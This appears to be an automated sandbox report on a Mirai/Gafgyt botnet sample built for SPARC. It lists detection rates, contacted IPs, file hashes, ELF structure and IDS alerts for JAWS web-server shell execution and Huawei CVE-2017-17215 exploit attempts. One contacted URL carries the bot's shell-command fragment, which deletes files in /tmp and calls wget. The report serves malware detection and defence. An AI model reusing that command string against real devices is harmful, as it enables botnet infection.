Is Dropped
Number of created Files
Is malicious
Internet

Source	Detection	Scanner	Label	Link
z0r0.spc.elf	65%	Virustotal		Browse
z0r0.spc.elf	71%	ReversingLabs	Linux.Trojan.Mirai
z0r0.spc.elf	100%	Avira	EXP/ELF.Gafgyt.T

Name	IP	Active	Malicious	Antivirus Detection	Reputation
raw.igxhost.ru	212.64.199.23	true	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://127.0.0.1:80/shell?cd+/tmp;rm+-rf+*;wget+	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://schemas.xmlsoap.org/soap/encoding/	z0r0.spc.elf	false		high
http://schemas.xmlsoap.org/soap/envelope/	z0r0.spc.elf	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
156.222.129.76	unknown	Egypt	8452	TE-ASTE-ASEG	false
120.139.129.232	unknown	Malaysia	38322	WEBE-MY-AS-APWEBEDIGITALSDNBHDMY	false
102.134.216.120	unknown	South Africa	328114	Comsol-Networks-ASZA	false
209.228.60.42	unknown	United States	7029	WINDSTREAMUS	false
216.62.129.139	unknown	United States	7018	ATT-INTERNET4US	false
77.186.218.179	unknown	Germany	6805	TDDE-ASN1DE	false
197.166.142.73	unknown	Egypt	24863	LINKdotNET-ASEG	false
156.114.21.28	unknown	Netherlands	13639	ING-AMERICAS-WHOLESALEUS	false
60.149.75.129	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
41.145.154.91	unknown	South Africa	5713	SAIX-NETZA	false
195.167.76.20	unknown	Greece	6799	OTENET-GRAthens-GreeceGR	false
156.141.177.69	unknown	United States	29975	VODACOM-ZA	false
34.7.125.135	unknown	United States	2686	ATGS-MMD-ASUS	false
156.91.128.207	unknown	United States	10695	WAL-MARTUS	false
111.39.73.194	unknown	China	9808	CMNET-GDGuangdongMobileCommunicationCoLtdCN	false
199.11.196.110	unknown	United States	3648	SPRINT-BB3US	false
156.80.44.43	unknown	United States	393649	BOOZ-AS2US	false
34.84.161.124	unknown	United States	15169	GOOGLEUS	false
184.37.225.219	unknown	United States	5778	CENTURYLINK-LEGACY-EMBARQ-RCMTUS	false
17.42.88.98	unknown	United States	714	APPLE-ENGINEERINGUS	false
156.83.202.11	unknown	Netherlands	1103	SURFNET-NLSURFnetTheNetherlandsNL	false
1.48.151.110	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
221.239.13.74	unknown	China	17638	CHINATELECOM-TJ-AS-APASNforTIANJINProvincialNetofCT	false
111.234.205.174	unknown	Japan	4685	ASAHI-NETAsahiNetJP	false
197.190.103.212	unknown	Ghana	37140	zain-asGH	false
4.151.164.188	unknown	United States	3356	LEVEL3US	false
184.145.64.112	unknown	Canada	577	BACOMCA	false
92.218.66.81	unknown	Germany	3209	VODANETInternationalIP-BackboneofVodafoneDE	false
197.75.183.177	unknown	South Africa	16637	MTNNS-ASZA	false
18.151.13.64	unknown	United States	16509	AMAZON-02US	false
156.216.92.41	unknown	Egypt	8452	TE-ASTE-ASEG	false
156.124.100.122	unknown	United States	393504	XNSTGCA	false
155.144.201.165	unknown	Australia	1221	ASN-TELSTRATelstraCorporationLtdAU	false
44.183.172.98	unknown	United States	58247	NETVEILLANCERO	false
197.223.37.65	unknown	Egypt	37069	MOBINILEG	false
156.109.179.171	unknown	United States	36081	STATE-OF-COLORADO-MNT-NETWORKUS	false
162.111.217.233	unknown	United States	4196	WELLSFARGO-4196US	false
146.70.175.228	unknown	United Kingdom	2018	TENET-1ZA	false
197.89.172.25	unknown	South Africa	10474	OPTINETZA	false
41.219.166.38	unknown	Nigeria	37196	SUDATEL-SENEGALSN	false
60.168.52.200	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
197.89.172.51	unknown	South Africa	10474	OPTINETZA	false
172.253.94.162	unknown	United States	15169	GOOGLEUS	false
47.141.204.94	unknown	United States	5650	FRONTIER-FRTRUS	false
54.126.94.31	unknown	United States	16509	AMAZON-02US	false
24.158.137.36	unknown	United States	20115	CHARTER-20115US	false
148.97.82.182	unknown	United States	396982	GOOGLE-PRIVATE-CLOUDUS	false
41.219.191.15	unknown	Nigeria	30998	NAL-ASNG	false
86.14.157.172	unknown	United Kingdom	5089	NTLGB	false
31.165.131.158	unknown	Switzerland	6730	SUNRISECH	false
190.134.2.251	unknown	Uruguay	6057	AdministracionNacionaldeTelecomunicacionesUY	false
116.27.34.55	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
142.162.160.178	unknown	Canada	855	CANET-ASN-4CA	false
156.138.236.133	unknown	United States	29975	VODACOM-ZA	false
137.160.24.77	unknown	United States	3549	LVLT-3549US	false
25.1.68.69	unknown	United Kingdom	7922	COMCAST-7922US	false
198.143.224.106	unknown	United States	7029	WINDSTREAMUS	false
59.130.19.137	unknown	Japan	2516	KDDIKDDICORPORATIONJP	false
137.91.147.111	unknown	United States	33350	APS---ARIZONA-PUBLIC-SERVICE-CORPORATIONUS	false
158.164.86.218	unknown	United States	721	DNIC-ASBLK-00721-00726US	false
197.33.61.19	unknown	Egypt	8452	TE-ASTE-ASEG	false
197.159.177.28	unknown	Sao Tome and Principe	328191	CST-NET-ASST	false
123.91.142.235	unknown	China	9394	CTTNETChinaTieTongTelecommunicationsCorporationCN	false
188.50.220.239	unknown	Saudi Arabia	25019	SAUDINETSTC-ASSA	false
121.215.179.111	unknown	Australia	1221	ASN-TELSTRATelstraCorporationLtdAU	false
205.95.149.12	unknown	United States	647	DNIC-ASBLK-00616-00665US	false
197.117.202.172	unknown	Algeria	36947	ALGTEL-ASDZ	false
41.27.51.173	unknown	South Africa	29975	VODACOM-ZA	false
194.189.104.142	unknown	United Kingdom	719	ELISA-ASHelsinkiFinlandEU	false
156.189.23.147	unknown	Egypt	36992	ETISALAT-MISREG	false
190.93.159.252	unknown	Colombia	19429	ETB-ColombiaCO	false
60.73.107.211	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
63.97.181.2	unknown	United States	701	UUNETUS	false
135.126.149.231	unknown	United States	14962	NCR-252US	false
197.131.5.169	unknown	Morocco	6713	IAM-ASMA	false
179.38.175.181	unknown	Argentina	22927	TelefonicadeArgentinaAR	false
197.16.236.39	unknown	Tunisia	37693	TUNISIANATN	false
197.89.172.76	unknown	South Africa	10474	OPTINETZA	true
197.57.39.63	unknown	Egypt	8452	TE-ASTE-ASEG	false
132.155.210.165	unknown	Finland	55836	RELIANCEJIO-INRelianceJioInfocommLimitedIN	false
186.108.245.103	unknown	Argentina	7303	TelecomArgentinaSAAR	false
47.135.131.124	unknown	United States	20115	CHARTER-20115US	false
111.5.54.23	unknown	China	24445	CMNET-V4HENAN-AS-APHenanMobileCommunicationsCoLtdCN	false
144.199.76.102	unknown	Malaysia	3918	SHELL-3918ShellInformationTechnologyInternationalBV	false
170.81.63.8	unknown	Brazil	266401	CNANETBR	false
182.76.203.207	unknown	India	9498	BBIL-APBHARTIAirtelLtdIN	false
156.0.172.199	unknown	South Africa	328112	Linux-Based-Systems-Design-ASZA	false
65.22.76.208	unknown	United States	12041	AS-AFILIAS1US	false
85.169.87.190	unknown	France	21502	ASN-NUMERICABLEFR	false
161.102.37.162	unknown	United States	7582	UMAC-AS-APUniversityofMacauMO	false
83.164.244.164	unknown	Austria	35369	LINZAG-TELEKOM-ASAT	false
1.171.99.59	unknown	Taiwan; Republic of China (ROC)	3462	HINETDataCommunicationBusinessGroupTW	false
182.39.179.123	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
204.97.148.165	unknown	United States	3931	LOGICALUS	false
89.103.41.97	unknown	Czech Republic	6830	LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding	false
132.9.224.161	unknown	United States	385	AFCONC-BLOCK1-ASUS	false
95.252.24.41	unknown	Italy	3269	ASN-IBSNAZIT	false
51.3.119.58	unknown	United States	2686	ATGS-MMD-ASUS	false
197.49.55.244	unknown	Egypt	8452	TE-ASTE-ASEG	false
100.154.178.237	unknown	United States	21928	T-MOBILE-AS21928US	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
156.222.129.76	Lmck6LFSzS.elf	Get hash	malicious	Mirai, Moobot	Browse
102.134.216.120	ApOzONtUOd.elf	Get hash	malicious	Mirai	Browse
	yBfvjcdv6U.elf	Get hash	malicious	Mirai	Browse
	Y1Km1Op9Oj	Get hash	malicious	Mirai	Browse
216.62.129.139	xd.arm.elf	Get hash	malicious	Mirai	Browse
197.166.142.73	bot.x86.elf	Get hash	malicious	Mirai	Browse
	nullnet_load.arm.elf	Get hash	malicious	Mirai	Browse
	Hilix.arm	Get hash	malicious	Mirai	Browse
156.114.21.28	Vrd6984wHv	Get hash	malicious	Mirai	Browse
41.145.154.91	00DZy4GniZ.elf	Get hash	malicious	Mirai	Browse
	beqcVM1zoR.elf	Get hash	malicious	Mirai	Browse
	x4Jyl944RK.elf	Get hash	malicious	Mirai, Moobot	Browse
	k2O9S4yYbT.elf	Get hash	malicious	Mirai	Browse
	bk.arm4.elf	Get hash	malicious	Mirai	Browse
	Ibt1CP1pqo	Get hash	malicious	Mirai	Browse
	armv4l	Get hash	malicious	Mirai	Browse
	GQ79WvadYr	Get hash	malicious	Mirai	Browse
	VGi1EK6T17	Get hash	malicious	Mirai	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
raw.igxhost.ru	main_x86.elf	Get hash	malicious	Mirai	Browse	154.213.189.14

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
Comsol-Networks-ASZA	arm.elf	Get hash	malicious	Unknown	Browse	102.134.216.129
	arm5.elf	Get hash	malicious	Mirai	Browse	102.134.216.112
	pjyhwsdgkl.elf	Get hash	malicious	Unknown	Browse	102.134.216.155
	i586.elf	Get hash	malicious	Mirai	Browse	102.134.216.148
	na.elf	Get hash	malicious	Mirai	Browse	102.134.216.150
	arm-20241006-0950.elf	Get hash	malicious	Mirai	Browse	102.134.216.110
	arm6-20240814-0111.elf	Get hash	malicious	Mirai	Browse	102.134.216.116
	o85sjrF5oi.elf	Get hash	malicious	Unknown	Browse	102.134.216.156
	arm5.elf	Get hash	malicious	Mirai	Browse	102.134.216.128
	qWLVwpwiVS.elf	Get hash	malicious	Unknown	Browse	102.134.216.123
WINDSTREAMUS	jackmyx86.elf	Get hash	malicious	Mirai	Browse	98.19.174.130
	jackmymips.elf	Get hash	malicious	Mirai	Browse	98.19.174.108
	botnet.x86.elf	Get hash	malicious	Mirai, Moobot	Browse	184.80.220.254
	res.arm5.elf	Get hash	malicious	Unknown	Browse	66.160.8.127
	res.sh4.elf	Get hash	malicious	Unknown	Browse	64.198.241.91
	res.spc.elf	Get hash	malicious	Unknown	Browse	66.251.54.249
	res.mpsl.elf	Get hash	malicious	Unknown	Browse	75.93.152.59
	botx.mips.elf	Get hash	malicious	Mirai	Browse	74.9.18.120
	x86_64.elf	Get hash	malicious	Mirai, Moobot	Browse	207.94.133.244
	ppc.elf	Get hash	malicious	Mirai, Moobot	Browse	71.22.0.186
TE-ASTE-ASEG	z0r0.i686.elf	Get hash	malicious	Mirai	Browse	156.220.29.221
	jackmysh4.elf	Get hash	malicious	Mirai	Browse	156.207.10.193
	jackmyx86.elf	Get hash	malicious	Mirai	Browse	197.55.123.252
	jackmymips.elf	Get hash	malicious	Mirai	Browse	41.44.233.245
	botnet.x86.elf	Get hash	malicious	Mirai, Moobot	Browse	102.46.222.5
	res.arm.elf	Get hash	malicious	Unknown	Browse	41.32.51.102
	telnet.mips.elf	Get hash	malicious	Gafgyt, Mirai	Browse	156.196.169.243
	botx.spc.elf	Get hash	malicious	Mirai	Browse	156.200.238.139
	botx.x86.elf	Get hash	malicious	Mirai	Browse	156.221.58.3
	sh4.elf	Get hash	malicious	Mirai, Moobot	Browse	102.43.64.233
WEBE-MY-AS-APWEBEDIGITALSDNBHDMY	splm68k.elf	Get hash	malicious	Unknown	Browse	42.153.221.216
	wanna.ppc.elf	Get hash	malicious	Mirai	Browse	180.73.9.107
	g4za.mpsl.elf	Get hash	malicious	Mirai	Browse	120.139.14.149
	arm7.elf	Get hash	malicious	Mirai, Moobot	Browse	180.74.192.202
	Fantazy.i686.elf	Get hash	malicious	Unknown	Browse	180.74.138.112
	telnet.x86.elf	Get hash	malicious	Unknown	Browse	122.255.107.246
	mips.elf	Get hash	malicious	Mirai, Moobot	Browse	180.73.37.118
	la.bot.sparc.elf	Get hash	malicious	Mirai	Browse	42.153.221.225
	la.bot.mips.elf	Get hash	malicious	Mirai	Browse	120.139.177.118
	powerpc.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	120.139.114.126

File type:	ELF 32-bit MSB executable, SPARC, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.1385072132051555
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	z0r0.spc.elf
File size:	74'760 bytes
MD5:	c5ee1e4b1e2c0eeeee0a613084079ee3
SHA1:	a5d90827592166a27f52d632308a8df86468e36a
SHA256:	9c6773a6fcb0568b462363c5c3ac043554b9e3e7439ad771954fc4c3be263650
SHA512:	61153052e33fa12cfa45bae6cfe299ca998782c95655e32778b8c902c9f6374e9c216fe36188e2509cea33586b061d19e27b44ec6f5eb5fcf7bc7d65b3f22c75
SSDEEP:	1536:M68wmSYWGZf51tVtdEZ9v1wh5P5I18aTbC:t30TLuUY1E
TLSH:	02735A25B87A2E13C0E8B47A52B78362B2E6234E34B4865DBD720F8DFF146A02557177
File Content Preview:	.ELF...........................4.."x.....4. ...(.......................................... ... ... ....8............dt.Q................................@..(....@.A.................#.....b8..`.....!..... ...@.....".........`......$ ... ...@...........`....

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, big endian
Version:	1 (current)
Machine:	Sparc
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x101a4
Flags:	0x0
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	74360
Section Header Size:	40
Number of Section Headers:	10
Header String Table Index:	9

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x10094	0x94	0x1c	0x0	0x6	AX	4
.text	PROGBITS	0x100b0	0xb0	0x10814	0x0	0x6	AX	4
.fini	PROGBITS	0x208c4	0x108c4	0x14	0x0	0x6	AX	4
.rodata	PROGBITS	0x208d8	0x108d8	0x15d8	0x0	0x2	A	8
.ctors	PROGBITS	0x32000	0x12000	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x32008	0x12008	0x8	0x0	0x3	WA	4
.data	PROGBITS	0x32018	0x12018	0x220	0x0	0x3	WA	8
.bss	NOBITS	0x32238	0x12238	0x470	0x0	0x3	WA	8
.shstrtab	STRTAB	0x0	0x12238	0x3e	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x10000	0x10000	0x11eb0	0x11eb0	6.1766	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0x12000	0x32000	0x32000	0x238	0x6a8	2.9211	0x6	RW	0x10000	.ctors .dtors .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x4

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-02-04T18:11:17.904083+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	56376	66.135.17.87	80	TCP
2025-02-04T18:11:17.904083+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	56376	66.135.17.87	80	TCP
2025-02-04T18:11:18.206262+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	56618	163.191.21.183	80	TCP
2025-02-04T18:11:18.206262+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	56618	163.191.21.183	80	TCP
2025-02-04T18:11:19.378631+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	52314	150.158.10.51	80	TCP
2025-02-04T18:11:19.378631+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	52314	150.158.10.51	80	TCP
2025-02-04T18:11:20.211398+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	36874	152.23.93.45	80	TCP
2025-02-04T18:11:20.211398+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	36874	152.23.93.45	80	TCP
2025-02-04T18:11:22.184807+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	34772	156.229.156.25	37215	TCP
2025-02-04T18:11:24.307214+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	37246	156.231.87.111	37215	TCP
2025-02-04T18:11:24.472665+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	60888	195.210.137.30	80	TCP
2025-02-04T18:11:24.472665+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	60888	195.210.137.30	80	TCP
2025-02-04T18:11:25.286765+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	34476	177.53.138.249	80	TCP
2025-02-04T18:11:25.286765+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	34476	177.53.138.249	80	TCP
2025-02-04T18:11:25.607889+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	60960	41.164.28.9	37215	TCP
2025-02-04T18:11:29.469291+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	47622	41.234.231.15	37215	TCP
2025-02-04T18:11:29.869023+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	35578	197.210.178.63	37215	TCP
2025-02-04T18:11:30.300034+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	41028	156.246.225.38	37215	TCP
2025-02-04T18:11:33.219154+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	48968	197.129.25.151	37215	TCP
2025-02-04T18:11:36.391381+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	41246	52.185.24.228	80	TCP
2025-02-04T18:11:36.391381+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	41246	52.185.24.228	80	TCP
2025-02-04T18:11:37.055574+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	36728	41.212.96.51	37215	TCP
2025-02-04T18:11:37.674865+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	55456	177.82.8.49	80	TCP
2025-02-04T18:11:37.674865+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	55456	177.82.8.49	80	TCP
2025-02-04T18:11:37.738100+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	56422	197.186.125.49	37215	TCP
2025-02-04T18:11:37.739789+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	40594	80.99.95.150	80	TCP
2025-02-04T18:11:37.739789+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	40594	80.99.95.150	80	TCP
2025-02-04T18:11:37.751324+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	48226	95.13.149.114	80	TCP
2025-02-04T18:11:37.751324+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	48226	95.13.149.114	80	TCP
2025-02-04T18:11:37.773011+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	53094	41.229.92.72	37215	TCP
2025-02-04T18:11:37.784370+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	36720	181.156.61.20	80	TCP
2025-02-04T18:11:37.784370+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	36720	181.156.61.20	80	TCP
2025-02-04T18:11:37.788473+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	47592	156.232.252.30	37215	TCP
2025-02-04T18:11:37.814849+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	33992	197.172.1.62	37215	TCP
2025-02-04T18:11:37.814924+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	55492	12.97.179.162	80	TCP
2025-02-04T18:11:37.814924+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	55492	12.97.179.162	80	TCP
2025-02-04T18:11:37.822196+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	47426	173.206.97.190	80	TCP
2025-02-04T18:11:37.822196+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	47426	173.206.97.190	80	TCP
2025-02-04T18:11:37.870635+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	54460	197.212.217.236	37215	TCP
2025-02-04T18:11:37.870762+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	45246	181.72.225.6	80	TCP
2025-02-04T18:11:37.870762+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	45246	181.72.225.6	80	TCP
2025-02-04T18:11:37.870945+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	48016	197.249.19.10	37215	TCP
2025-02-04T18:11:37.895791+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	37500	41.80.3.189	37215	TCP
2025-02-04T18:11:37.910009+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	44564	41.156.70.108	37215	TCP
2025-02-04T18:11:37.989345+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	49706	197.159.207.228	37215	TCP
2025-02-04T18:11:38.005034+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	57500	41.229.202.43	37215	TCP
2025-02-04T18:11:38.006721+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	52328	84.59.111.135	80	TCP
2025-02-04T18:11:38.006721+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	52328	84.59.111.135	80	TCP
2025-02-04T18:11:38.007948+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	34294	41.216.131.125	37215	TCP
2025-02-04T18:11:38.048196+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	35832	197.157.167.236	37215	TCP
2025-02-04T18:11:38.054265+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	33892	75.202.255.136	80	TCP
2025-02-04T18:11:38.054265+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	33892	75.202.255.136	80	TCP
2025-02-04T18:11:38.064275+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	43928	197.0.255.111	37215	TCP
2025-02-04T18:11:38.065878+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	34258	139.62.254.107	80	TCP
2025-02-04T18:11:38.065878+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	34258	139.62.254.107	80	TCP
2025-02-04T18:11:38.067721+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	42116	41.197.212.105	37215	TCP
2025-02-04T18:11:38.081694+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	38138	41.89.103.100	37215	TCP
2025-02-04T18:11:38.094935+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	36264	156.52.86.18	37215	TCP
2025-02-04T18:11:38.095110+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	49594	115.185.195.251	80	TCP
2025-02-04T18:11:38.095110+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	49594	115.185.195.251	80	TCP
2025-02-04T18:11:38.118320+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	56890	156.221.146.36	37215	TCP
2025-02-04T18:11:38.143975+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	46086	104.108.17.71	80	TCP
2025-02-04T18:11:38.143975+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	46086	104.108.17.71	80	TCP
2025-02-04T18:11:38.173206+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	48452	59.197.123.191	80	TCP
2025-02-04T18:11:38.173206+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	48452	59.197.123.191	80	TCP
2025-02-04T18:11:38.222179+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	56634	148.124.95.174	80	TCP
2025-02-04T18:11:38.222179+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	56634	148.124.95.174	80	TCP
2025-02-04T18:11:38.241306+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	41596	204.180.52.55	80	TCP
2025-02-04T18:11:38.241306+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	41596	204.180.52.55	80	TCP
2025-02-04T18:11:38.251144+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	53656	116.7.76.23	80	TCP
2025-02-04T18:11:38.251144+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	53656	116.7.76.23	80	TCP
2025-02-04T18:11:38.258956+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	40282	122.230.149.114	80	TCP
2025-02-04T18:11:38.258956+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	40282	122.230.149.114	80	TCP
2025-02-04T18:11:38.284637+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	38276	19.122.225.91	80	TCP
2025-02-04T18:11:38.284637+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	38276	19.122.225.91	80	TCP
2025-02-04T18:11:38.286219+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	58820	19.144.149.113	80	TCP
2025-02-04T18:11:38.286219+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	58820	19.144.149.113	80	TCP
2025-02-04T18:11:38.286621+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	37250	171.125.195.174	80	TCP
2025-02-04T18:11:38.286621+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	37250	171.125.195.174	80	TCP
2025-02-04T18:11:38.690813+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	32782	200.162.125.49	80	TCP
2025-02-04T18:11:38.690813+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	32782	200.162.125.49	80	TCP
2025-02-04T18:11:38.720005+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	39240	197.74.8.49	37215	TCP
2025-02-04T18:11:38.782754+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	58508	106.129.170.230	80	TCP
2025-02-04T18:11:38.782754+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	58508	106.129.170.230	80	TCP
2025-02-04T18:11:38.800248+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	51726	41.89.186.103	37215	TCP
